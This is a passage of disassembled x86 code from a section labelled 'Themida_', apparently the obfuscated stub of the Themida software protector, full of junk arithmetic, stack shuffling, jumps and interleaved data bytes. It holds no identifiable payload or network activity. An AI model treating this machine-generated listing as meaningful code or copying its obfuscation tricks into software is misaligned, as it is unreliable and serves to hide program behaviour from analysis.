		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebp
		push	6444h
		mov	[esp], ebx
		push	eax
		push	edx
		mov	edx, 3DC27D41h
		jmp	loc_58EAFC
; ---------------------------------------------------------------------------


loc_590F47:				; CODE XREF: Themida_:0059583Bj
		push	edi
		mov	edi, 0
		sub	edi, esi
		xchg	edi, esi
		pop	edi
		jmp	loc_592C7F
; ---------------------------------------------------------------------------
		db 1
		dd 50E95FF8h
		db 0CCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_590F5F:				; CODE XREF: Themida_:0058FE33j
		sub	ebp, 63646548h
		add	ebp, edi
		add	ebp, 63646548h
		add	ebp, 669A383Bh
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_58C62E
; ---------------------------------------------------------------------------
		dd 0E9243C87h, 649h, 21B5515Bh,	1F1BE9h, 240C8900h, 0EC83E6B1h
		dd 24048904h, 6EE94EB4h
		db 49h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_590FA7:				; CODE XREF: Themida_:00590692j
		not	ebx
		or	ebx, 7E230EBh
		sub	ebx, 64D2667Dh
		add	ebx, 64E26E82h
		add	eax, ebx
		pop	ebx
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_58A6DE
; ---------------------------------------------------------------------------


loc_590FCC:				; CODE XREF: Themida_:005908A1j
		mov	edi, 2DE05FEBh
		add	eax, edi
		pop	edi
		sub	eax, 0ABC6161h
		add	eax, ebx
		add	eax, 0ABC6161h
		push	edx
		mov	edx, 0BC34832h
		or	edx, 3C457D23h
		add	edx, 0EE18E2B8h
		sub	eax, 1A4B23F4h
		jmp	loc_58CBEA
; ---------------------------------------------------------------------------
		dd 4C481h, 5BE90000h, 0FEFFFFADh, 7E5C0C5h, 0ED80D5F6h
		dd 59EB2868h, 0FFA6DEE9h, 2434FFFFh, 4C48159h, 87000000h
		dd 248B243Ch, 4EC8324h,	0FFE91BE9h, 240400FFh, 8428E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59103A:				; CODE XREF: Themida_:0058DC60j
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_590A16
; ---------------------------------------------------------------------------
		db 0F6h, 0DDh, 0C0h
		dd 0E5C003E5h, 50CDFE04h, 0E5287BB4h, 213BE9h, 31CF3100h
		dd 3E9C1F9h, 0FF90ACE9h, 81E6D1FFh, 9E5828EEh, 0D79BE93Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_591072:				; CODE XREF: Themida_:0058E174j
		xchg	eax, ecx
		add	ecx, 1DFFDAE6h
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5898DB
; ---------------------------------------------------------------------------


loc_591084:				; CODE XREF: Themida_:0058BE41j
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_594B15
; ---------------------------------------------------------------------------


loc_59108E:				; CODE XREF: Themida_:0058E9A4j
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esi
		push	ecx
		mov	ecx, 220C7C22h
		mov	esi, 220C7C26h
		jmp	loc_58A199
; ---------------------------------------------------------------------------


loc_5910A8:				; CODE XREF: Themida_:00593408j
		inc	ebp
		add	ebp, 0F93788DCh
		jmp	loc_58A2AC
; ---------------------------------------------------------------------------
		dd 191A8DB9h, 92F18170h, 0F777B936h, 2B4E9D1h, 0D0010000h
		dd 6E61DC05h, 24148B0Fh, 6804C483h, 4E67h, 0FFE38EE9h
		dd 4C483FFh, 8B240487h,	8B662424h, 11E9240Ch
		db 0A4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5910EF:				; CODE XREF: Themida_:005935A2j
		push	esi
		push	edi
		mov	edi, 0E07221Fh
		xor	[esp+4], edi
		pop	edi
		pop	dword ptr [edx]
		jmp	loc_590BC9
; ---------------------------------------------------------------------------
		dw 5468h
		dd 5D328C5Ah, 0B49F581h, 0C5813E08h, 3C1BF7h, 54E9E989h
		db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59111B:				; CODE XREF: Themida_:0058A682j
		pop	ebp
		or	eax, eax
		jz	loc_58B44D
		push	dword ptr [edi+28h]
		sub	dword ptr [esp], 29DD68CAh
		pop	eax
		push	edx
		mov	edx, 4C24277Ah
		jmp	loc_59341B
; ---------------------------------------------------------------------------
		dw 433h
		dd 24248B24h, 9C242CD3h, 0FF8319E9h, 241C8BFFh,	4C483h
		dd 5B3D04D8h, 53FAB252h, 472C3BB3h, 4704D800h, 287D045Bh
		dd 537D2CD0h, 0FFA215E9h, 4BE56FFh, 1000000h, 0C2815EF2h
		dd 4, 0FFF1CCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_591181:				; CODE XREF: Themida_:0058FE93j
		mov	ebx, [esp]
		add	esp, 4
		and	eax, esi
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		or	eax, eax
		jz	loc_589B7F
		push	dword ptr [edi+1Ch]
		sub	esp, 4
		jmp	loc_591CAC
; ---------------------------------------------------------------------------
		dd 0E971F680h, 0FFFFC09Ah, 0FF2434FFh, 48B2434h, 0F977E924h
		dd 34FFFFFFh
		db 24h,	59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_591F14
; ---------------------------------------------------------------------------
		dw 0E789h
		dd 4EC81h, 0C890000h, 0E9E18924h, 2949h, 0F6D0C680h, 4670E9D6h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59120E:				; CODE XREF: Themida_:00594C4Cj
		mov	[esp], ebx
		push	41C7h
		mov	[esp], esp
		jmp	loc_591EC6
; ---------------------------------------------------------------------------
		dw 0C129h
		dd 59CE0158h, 5508E6C1h, 0A8BE56h, 0DEF757D0h, 331FC681h
		dd 57513336h, 0B93C27BFh, 3EFC12Eh, 551BE781h, 0C7815219h
		dd 5FE3A5Ah, 0C15FF989h, 70E908E1h
		db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_591257:				; CODE XREF: Themida_:00590133j
		add	esp, 4
		shl	ebp, 7
		xor	ebp, 7FE7466Fh
		mov	ebx, ebp
		pop	ebp
		sub	ebx, 0FFFFFFFFh
		push	edx
		mov	edx, 5828517Eh
		dec	edx
		shl	edx, 7
		xor	edx, 1428BE81h
		sub	ebx, edx
		pop	edx
		jmp	loc_590C54
; ---------------------------------------------------------------------------
		db 83h,	4, 24h
		dd 24148B04h, 8904EC83h, 0E389241Ch, 8904EC83h,	0F9BD242Ch
		dd 0C1719D73h, 4A6806E5h, 89000027h, 86BE2434h,	811EA21Eh
		dd 0A966F6E6h, 0BD22E947h, 0C483FFFFh, 4C686602h, 14896627h
		dd 0BDF4E924h, 0F701FFFFh, 8124348Bh, 4C4h, 0A848E900h
		dd 6851FFFFh, 4DEDh, 0BA241489h, 69C34FEBh, 2668F281h
		dd 87B924F9h, 314D3A69h, 2D5DE9D1h, 0EE810000h,	0B1198913h
		dd 0E95EF001h, 0FFFFB311h, 7F3C68h, 242C8900h, 0CD4D87BDh
		dd 7DC58122h, 81DD32B2h, 0C66F14C1h, 0E9E9013Bh, 18B0h
		dd 5575C681h, 0E9522786h, 0FFFFA890h, 0C781E789h, 4, 8704EF83h
		dd 0E95C243Ch, 2CF8h, 0E958C329h, 0FFFFC202h, 0E9243C89h
		dd 0FFFFE5AFh, 5002EBC0h, 0E95117B4h, 3573h, 4BD55h, 6C010000h
		dd 585D0424h, 4BE56h, 0F0010000h, 0E8B8E95Eh, 8141FFFFh
		dd 0E964C8E9h, 0D8C18103h, 811D6A41h, 0D6627DC1h, 0E9C82952h
		dd 3829h
; ---------------------------------------------------------------------------


loc_591394:				; CODE XREF: Themida_:0058F796j
		mov	esi, 6045453h
		inc	esi
		jmp	loc_58C881
; ---------------------------------------------------------------------------
		db 55h
		dd 748663BDh, 0D944E983h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5913AA:				; CODE XREF: Themida_:0058FAB5j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 10F332E8h
		jmp	loc_58BE83
; ---------------------------------------------------------------------------
		db 5Ah,	8Fh, 4
aSp		db '$é¯',1Bh,0
		align 2
		dw 0C828h
		dd 4EE95A59h
		db 87h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5913CF:				; CODE XREF: Themida_:00592D67j
		rol	dword ptr [esp], cl
		pushf
		jmp	loc_589462
; ---------------------------------------------------------------------------


loc_5913D8:				; CODE XREF: Themida_:005929E3j
		push	dword ptr [ecx]
		mov	eax, [esp]
		add	esp, 4
		mov	ecx, [esp]
		jmp	loc_58F5F2
; ---------------------------------------------------------------------------
		dd 57D830ACh, 0C781E789h, 4, 2BD55h, 0EF290000h, 243C875Dh
		dd 6624248Bh, 0E9240C89h, 0FFFFEC91h
; ---------------------------------------------------------------------------


loc_59140C:				; CODE XREF: Themida_:00593924j
		push	314Ah
		jmp	loc_58A7BA
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 0A180B924h, 0CF01C28Bh, 8BFD8959h, 0C483243Ch, 246C0104h
		dd 2434FF04h, 408FE9h, 40EE8100h, 59697B33h, 4B951h, 0CE290000h
		dd 4499E9h
		db 0
; ---------------------------------------------------------------------------


loc_591449:				; CODE XREF: Themida_:0058DCD7j
		pop	eax
		push	ecx
		mov	ecx, esp
		push	ebp
		mov	ebp, 4DEF306Ch
		not	ebp
		push	eax
		mov	eax, 68D5455Eh
		neg	eax
		shr	eax, 1
		shl	eax, 1
		add	eax, 2A994A23h
		dec	eax
		sub	eax, 0FB33535h
		sub	ebp, eax
		pop	eax
		add	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5899CC
; ---------------------------------------------------------------------------
		dw 8149h
		dd 1256E9E9h, 6E1C10Dh,	58C1C981h, 0C1810B05h, 8F5A762Ah
		dd 0FF9828E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5914A9:				; CODE XREF: Themida_:0058F660j
		sub	edi, 0D14E38A3h
		xor	esi, edi
		pop	edi
		add	eax, esi
		pop	esi
		pop	edx
		jmp	loc_589462
; ---------------------------------------------------------------------------


loc_5914BB:				; CODE XREF: Themida_:0058995Dj
		push	edi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 498E7E9Dh
		shl	ebx, 7
		sub	ebx, 34406606h
		shl	ebx, 5
		xor	ebx, 1A352601h
		mov	edi, ebx
		jmp	loc_58B009
; ---------------------------------------------------------------------------
		dd 0BEF5BB53h, 0DA311246h, 0E9D1015Bh, 0FFFFD9C3h, 0E924148Bh
		dd 1745h, 9D1C77FFh, 0D3665966h, 0E99C2414h, 0FFFF7F5Ah
		dd 42474FFh, 24048F58h,	0B30F665Ch, 0E99C2404h,	0FFFF7F46h
		dd 5A0F68h, 24148900h, 400BAh, 0B676E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59152E:				; CODE XREF: Themida_:00592761j
		push	edi
		not	dword ptr [esp]
		pop	edi
		push	ebx
		jmp	loc_5930F6
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 52240C8Bh, 0CCE9E289h
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_591547:				; CODE XREF: Themida_:0058DDD1j
		add	ecx, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		add	ecx, esi
		jmp	loc_592B38
; ---------------------------------------------------------------------------
		db 80h
		dd 0EE939C7h, 0C1FFFF96h, 0C68103EEh, 7529396Fh, 1183E9h
		db 0
; ---------------------------------------------------------------------------


loc_591575:				; CODE XREF: Themida_:0058B56Ej
		mov	eax, esp
		push	edi
		jmp	loc_58EFE8
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 0F7h
		dd 8124B433h, 2929A8F3h, 0A5C3817Ah, 81A162E5h,	2A4C54E9h
		dd 3BB6E911h, 8B660000h, 5768240Ch, 89000016h, 0E389241Ch
		dd 8E45E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5915AE:				; CODE XREF: Themida_:00594DF4j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_58D470
; ---------------------------------------------------------------------------
		db 31h,	4, 24h
		dd 0E9240433h, 0FFFFF007h
; ---------------------------------------------------------------------------


loc_5915CC:				; CODE XREF: Themida_:005944ABj
		xor	ebx, [esp]
		pop	esp
		jmp	loc_590422
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 8B2434FFh
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5938A1
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 89505A24h, 7F09E9E0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5915F2:				; CODE XREF: Themida_:00595AEBj
		or	edx, 29283578h
		dec	edx
		jmp	loc_5908E8
; ---------------------------------------------------------------------------
		dw 0E95Eh
		dd 0FFFFF5F3h, 0E7CA8166h, 0E951662Ah, 0FFFFB1A0h
; ---------------------------------------------------------------------------


loc_591610:				; CODE XREF: Themida_:00590C4Fj
		push	edi
		mov	edi, 12704BA6h
		dec	edi
		push	edx
		mov	edx, 7F632BB2h
		add	edx, 51801026h
		neg	edx
		jmp	loc_58C855
; ---------------------------------------------------------------------------


loc_59162A:				; CODE XREF: Themida_:00590395j
		add	esi, 0FCF498Eh
		sub	esi, 67200D15h
		sub	esi, 66356D3h
		mov	ecx, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_589962
; ---------------------------------------------------------------------------
		db 81h
		dd 12CB70C1h, 84E18198h, 811E1262h, 752F4CE9h, 0BDA6E988h
		dd 0E954FFFFh, 0FFFFB2E2h, 2424895Ch, 4240483h,	0FF0BE959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_591672:				; CODE XREF: Themida_:0058E714j
		mov	ebp, 4
		add	ebx, 47AC4327h
		add	ebx, ebp
		jmp	loc_59449E
; ---------------------------------------------------------------------------
		dd 5657B850h, 0BE567F0Fh, 70BF38E7h, 67E9F029h,	50FFFFFFh
		dd 26E9CFB0h, 66000017h, 5124048Bh, 0C181E189h,	4, 4EC81h
		dd 2C890000h, 2BD24h, 0C1810000h, 3FAF7817h
		db 1, 0E9h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_592600
; ---------------------------------------------------------------------------
		dw 0C87h
		dd 83E95C24h, 5AFFFF7Dh, 8904EC83h, 1EE92434h, 5DFFFFC9h
		dd 0E9241433h, 0FFFFADF1h, 9D1C77FFh, 14D35966h, 0FFE99C24h
		dd 0FFFFFFD6h, 148B2434h, 0E7895724h, 4C781h, 0C7830000h
		dd 243C8704h, 0E924248Bh, 0FFFFE1D4h, 0FF24248Bh, 0E95A2434h
		dd 3174h, 8124148Bh, 4C4h, 0E681E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59173A:				; CODE XREF: Themida_:005935DCj
		and	edx, 15A60360h
		push	ecx
		mov	ecx, 29060CDCh
		add	edx, 1F560C5Fh
		sub	edx, ecx
		sub	edx, 1F560C5Fh
		jmp	loc_5904E4
; ---------------------------------------------------------------------------
		db 25h,	0E2h, 10h
		dd 0E0C1738Ah, 1DF72505h, 4057315h, 19EFFF0h, 1900E9C2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_591772:				; CODE XREF: Themida_:0058DDF7j
		and	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	2844h
		mov	[esp], ebp
		jmp	loc_59395F
; ---------------------------------------------------------------------------
aB4		db ']Ã4',0
		dd 0EB815742h, 24267EACh, 7DE9FB01h, 0C1FFFFF1h, 0EF8105E7h
		dd 0AA0DF3D6h, 0E95FFA01h, 0FFFFC613h, 0C781E789h, 4, 4EF81h
		dd 7CE90000h
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5917C3:				; CODE XREF: Themida_:0058B9A3j
		mov	esi, 12854AB8h
		sub	esi, 10D62D69h
		sub	esi, 9F80B11Dh
		add	edi, esi
		pop	esi
		push	ecx
		mov	ecx, 2ADE25E7h
		and	ecx, 534E0EA0h
		sub	ecx, 0FFFFFFFFh
		push	edi
		mov	edi, 2BD473B1h
		and	edi, 53119CCh
		or	edi, 1A6F6A33h
		inc	edi
		dec	edi
		xor	edi, 42E4273Dh
		or	ecx, edi
		pop	edi
		and	ecx, 31BE2919h
		push	esi
		mov	esi, 1B236008h
		push	ebp
		mov	ebp, 672D1B30h
		inc	ebp
		and	ebp, 1A671BDAh
		not	ebp
		or	ebp, 11944DBFh
		sub	ebp, 0A476BB4Ah
		jmp	loc_58F8E6
; ---------------------------------------------------------------------------


loc_591832:				; CODE XREF: Themida_:0058E9BCj
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_58A67F
; ---------------------------------------------------------------------------


loc_59183D:				; CODE XREF: Themida_:00589D18j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	3357h
		mov	[esp], edi
		mov	edi, 414148D1h
		or	esi, edi
		jmp	loc_5905B3
; ---------------------------------------------------------------------------
		dd 57D831ADh, 23220EBFh, 19F86849h, 11E90000h, 89000010h
		dd 56512424h, 4BEh, 5EF18900h, 4244C01h, 2434FF59h, 4C48158h
		dd 5000000h, 4,	0FFB8D8E9h, 4C581FFh, 0E9000000h, 0CBCh
		dd 52240C8Bh, 0E6E9E289h, 33FFFFABh, 0AE92404h
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5918B7:				; CODE XREF: Themida_:0058F55Fj
		or	edx, eax
		shl	edx, 1
		push	esi
		jmp	loc_58E280
; ---------------------------------------------------------------------------
		db 0F6h, 0D0h, 2Ch
		dd 58C78861h, 7AE9F828h
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5918CF:				; CODE XREF: Themida_:00592307j
		mov	ecx, [esp]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	1D07h
		mov	[esp], ebp
		jmp	loc_58F353
; ---------------------------------------------------------------------------
		db 0B8h, 0B1h, 1Fh
		dd 0E0C17B3Ah, 522B0D05h, 0E0E97433h, 2DFFFFA3h, 0BA9166Eh
		dd 24043359h, 1113E9h
		db 0
; ---------------------------------------------------------------------------


loc_591909:				; CODE XREF: Themida_:00589C86j
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_58C921
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 8704EA83h, 895C2414h, 0EC832424h,	9DAEE904h, 0C15CFFFFh
		dd 0EA8104EAh, 3A0AF5h,	34FFD729h, 0C4815A24h, 4, 6E8E9C3h
		dd 14330000h, 9EFBE924h, 248BFFFFh, 24148924h, 0EEC076B6h
		dd 0C0EE8007h, 0FFF86BE9h, 8BE989FFh
		db 2Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 51670B80h
		jmp	loc_58CA7F
; ---------------------------------------------------------------------------


loc_59198B:				; CODE XREF: Themida_:00594F32j
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp]
		pop	esp
		pop	edx
		jmp	loc_58D37F
; ---------------------------------------------------------------------------
		db 51h,	68h, 0E8h
		dd 591DFD03h, 2E9168h, 24348900h, 2B508ABEh, 8BF101F9h
		dd 37E92434h, 0BB00003Ah, 2, 0FFBF21E9h, 343540FFh, 0C142B10Bh
		dd 54803E8h, 6DD595B1h,	0FFF845E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5919D9:				; CODE XREF: Themida_:00594E83j
		xchg	esi, [esp]
		pop	esp
		push	edx
		mov	dh, 0ABh
		or	dh, 47h
		sub	dh, 58h
		jmp	loc_589E2F
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24048900h, 0E3D3E953h,	0CA81FFFFh, 38E2148h, 0B951DAF7h
		dd 26322977h, 4902E1C1h, 8104E9C1h, 695AD7F1h, 79C18175h
		dd 0E962E371h, 0FFFFEBDDh, 0D8004A04h, 5B4A2Ch,	6A6866D8h
		dd 3B8AE93Eh, 148B0000h, 4C48324h, 355FC381h, 99E94DC9h
		dd 87FFFFF0h, 0B5E92414h, 89000014h, 4C781E7h, 52000000h
		dd 11A1E9h, 241C8900h, 0FF9699E9h, 5DEB01FFh, 371DBA52h
		dd 0EAD10269h, 3CEFEA81h, 0D301BDBAh, 8124148Bh, 4C4h
		dd 0E2C38100h, 0E97E2871h, 0FFFFAB0Ch, 4EF81h, 3C870000h
		dd 0C895C24h, 2474FF24h, 48F5904h, 24248B24h, 2660E9h
		db 0
; ---------------------------------------------------------------------------


loc_591AA5:				; CODE XREF: Themida_:0059240Fj
		xor	ebx, edi
		pop	edi
		xor	eax, ebx
		pop	ebx
		add	ebp, eax
		pop	eax
		sub	esp, 4
		jmp	loc_58BC19
; ---------------------------------------------------------------------------
		dw 0E801h
		dd 81242C8Bh, 4C4h, 81C33100h, 0C93416C2h, 69BB5317h, 0C1685779h
		dd 0C38106EBh, 7802CDCDh, 575BDA29h, 9B162DBFh,	70C2816Ah
		dd 294FAD40h, 70EA81FAh, 5F4FAD40h, 0BB53C201h,	154425A7h
		dd 0FFB59DE9h, 241487FFh, 8324248Bh, 2C3302C5h,	242C3124h
		dd 5C242C33h, 9C240408h, 0FF7949E9h, 240489FFh,	0FFEA34E9h
		dd 241433FFh, 33241431h, 248B2414h, 0AB0F6624h,	0E99C2404h
		dd 0FFFF792Ah, 24148966h, 0E99C5066h, 0FFFF791Eh, 0E9243C89h
		dd 0FFFFFEFFh
; ---------------------------------------------------------------------------


loc_591B4C:				; CODE XREF: Themida_:0058BFE8j
		mov	esi, 44E535E7h
		inc	esi
		add	esi, 134D32BBh
		shl	esi, 3
		shr	esi, 4
		add	esi, 0E3621A0h
		xor	ebx, esi
		pop	esi
		jmp	loc_59515D
; ---------------------------------------------------------------------------
		dd 9D1C77FFh, 24041958h, 0ADA2E99Ch, 0F380FFFFh, 612C9Eh
		dd 5B6104D8h, 148B5F2Ch, 4EC8324h, 89241489h, 0E7D6E9E2h
		dd 34FFFFFFh, 0E9565A24h, 0FFFFC14Fh
; ---------------------------------------------------------------------------


loc_591BA0:				; CODE XREF: Themida_:00595428j
		pop	esi
		push	esi
		mov	esi, 612D7813h
		xor	ebx, esi
		pop	esi
		xor	esi, ebx
		pop	ebx
		jmp	loc_58CE5E
; ---------------------------------------------------------------------------
		dw 0EB80h
		dd 80CB002Ah, 59662AC3h, 280CC380h, 0CEB80C3h, 509CEB80h
		dd 0C380AAB0h, 0E9C32869h, 6F6h
; ---------------------------------------------------------------------------


loc_591BD4:				; CODE XREF: Themida_:00593395j
		add	ecx, 758C4D1Eh
		jmp	loc_5898E8
; ---------------------------------------------------------------------------


loc_591BDF:				; CODE XREF: Themida_:0058D5E3j
		xchg	edx, [esp]
		jmp	loc_58E605
; ---------------------------------------------------------------------------
		db 1
		dd 0FF565DEEh, 8B042474h, 3E92434h, 2D000037h, 46D67E67h
		dd 6E4F9B05h, 243C8B3Bh, 4C481h, 0C1E90000h, 58FFFFB5h
		dd 22FE9h, 81FB0100h, 0B474BEBh, 0FF038877h, 835B2434h
		dd 37E904C4h, 89FFFF78h, 241C8BDAh, 0FF9500E9h,	0E9D1F7FFh
		dd 0FFFFD59Fh, 6267F281h, 0D101C128h, 4C1835Ah,	8B240C87h
		dd 34FF2424h, 1C685824h, 89000022h, 5A542414h, 0FFF50CE9h
		dd 24248BFFh, 24148B66h, 0FFCD2BE9h, 6866FFh, 24042800h
		dd 0FFDF38E9h, 2DF801FFh, 670E39B5h, 1D5F685Fh,	0C890000h
		dd 4C02B924h, 57497431h, 5E2C0CBFh, 0AD0DE945h,	0C101FFFFh
		dd 0C46E9h, 24348B00h, 0E904C483h, 3D8h
; ---------------------------------------------------------------------------


loc_591CAC:				; CODE XREF: Themida_:005911CBj
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_58E558
; ---------------------------------------------------------------------------


loc_591CBD:				; CODE XREF: Themida_:0059336Fj
		mov	[esp], ebx
		mov	ebx, 0AF71D5AEh
		add	edi, ebx
		mov	ebx, [esp]
		push	61B2h
		mov	[esp], edi
		mov	edi, esp
		push	2D2h
		mov	[esp], ebx
		mov	ebx, 7AE21348h
		shl	ebx, 3
		jmp	loc_592D41
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 2CAE9h, 74FF5100h, 0C8B0424h, 4C48324h, 8B24048Fh, 8B662424h
		dd 89512404h, 4EC81E1h,	0E9000000h, 0FFFF85F9h,	4C38158h
		dd 87000000h, 248B241Ch, 0F813E924h, 0D001FFFFh, 0FFF7C3E9h
		dd 24048BFFh, 50E38953h, 0FF9615E9h, 241489FFh,	979E9h
		dd 85B35300h, 0FEE0CB80h, 0B2C5E9C3h, 2489FFFFh, 5BE95724h
		dd 5AFFFFC4h, 0FF9F0AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_591D5D:				; CODE XREF: Themida_:0058CCC7j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		shr	eax, 0Bh
		xor	ecx, eax
		push	6596h
		mov	[esp], edi
		push	ebx
		add	dword ptr [esp], 24A86AE6h
		mov	edi, [esp]
		jmp	loc_58F2A8
; ---------------------------------------------------------------------------


loc_591D8A:				; CODE XREF: Themida_:005925A9j
		push	dword ptr [esp]
		jmp	loc_58DD9D
; ---------------------------------------------------------------------------
		dw 62B2h
		dd 5A66D028h, 8904EC83h, 95B22414h, 0FFEA9EE9h,	81595AFFh
		dd 0A71721C7h, 69C10594h, 0D72D12BAh, 14A4535h,	35D705F8h
		dd 0C12D4A45h, 0E912BA69h, 0FFFF7DF4h, 0B951FE31h, 33FF3C05h
		dd 1759C181h, 0E1817EC7h, 63262A51h, 2605E981h,	0CE01EF4Eh
		dd 78C58159h, 110922Ah,	78ED81F5h, 8B10922Ah, 0C4812434h
		dd 4, 8108E5C1h, 0FC04E7C5h, 24202D0Ah,	0E829083Ah, 3A242005h
		dd 0BE1EE908h, 0C201FFFFh, 8324048Bh, 0EA8104C4h, 4E7E465Dh
		dd 7E41C281h, 30E92F9Dh
		db 0A6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_591E2F:				; CODE XREF: Themida_:0058F618j
		pop	ebx
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		xchg	edi, ebp
		not	edi
		xor	ebp, edi
		xor	edi, ebp
		jmp	loc_58CCB7
; ---------------------------------------------------------------------------
		dd 885BFC88h, 0D32858E2h, 0C3805A66h, 232BE901h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_591E56:				; CODE XREF: Themida_:0059442Dj
		shr	ebx, 7
		xor	ebx, 0ED7810h
		jmp	loc_58CAFC
; ---------------------------------------------------------------------------


loc_591E64:				; CODE XREF: Themida_:0058E90Cj
		add	ebp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		xor	[esp], al
		pushf
		jmp	loc_589462
; ---------------------------------------------------------------------------
aWss		db 'Wé˜+',0
		dd 4EC8300h, 53240489h,	0F38020B3h, 5BD8887Fh, 4EC81h
		dd 14890000h, 88C28824h, 48B5AD1h, 4C48324h, 0C8BC830h
		dd 17E95524h
		db 22h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_591EBF:				; CODE XREF: Themida_:0058C57Cj
		add	ebx, edx
		jmp	loc_58E712
; ---------------------------------------------------------------------------


loc_591EC6:				; CODE XREF: Themida_:00591219j
		add	dword ptr [esp], 4
		pop	ebx
		add	ebx, 4
		push	16ACh
		mov	[esp], esi
		mov	esi, 78C73D0Fh
		xor	esi, 0A6E4D13h
		sub	esi, 72A97018h
		add	ebx, 67F222F3h
		push	eax
		mov	eax, 767921F5h
		sub	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		sub	ebx, 3893119h
		sub	ebx, esi
		add	ebx, 3893119h
		jmp	loc_58FF66
; ---------------------------------------------------------------------------


loc_591F14:				; CODE XREF: Themida_:005911EDj
		add	ebp, 4
		sub	ebp, 4
		push	3A5Ah
		mov	[esp], ebp
		push	dword ptr [esp+4]
		jmp	loc_58A987
; ---------------------------------------------------------------------------
		dw 4BBh
		dd 1000000h, 0E9815BD9h, 4, 0E9240C87h,	0FFFFCA7Dh
; ---------------------------------------------------------------------------


loc_591F44:				; CODE XREF: Themida_:0058C909j
		push	eax
		mov	eax, 0
		add	eax, edx
		mov	[eax], ebx
		jmp	loc_58A07F
; ---------------------------------------------------------------------------
		db 89h
		dd 0BD552414h, 225118F1h, 0F75DEA89h, 81DAF7DAh, 0D44549EAh
		dd 5ABD5549h, 0E927832Ch, 0FFFFE8E4h, 1C8BD830h, 4EC8324h
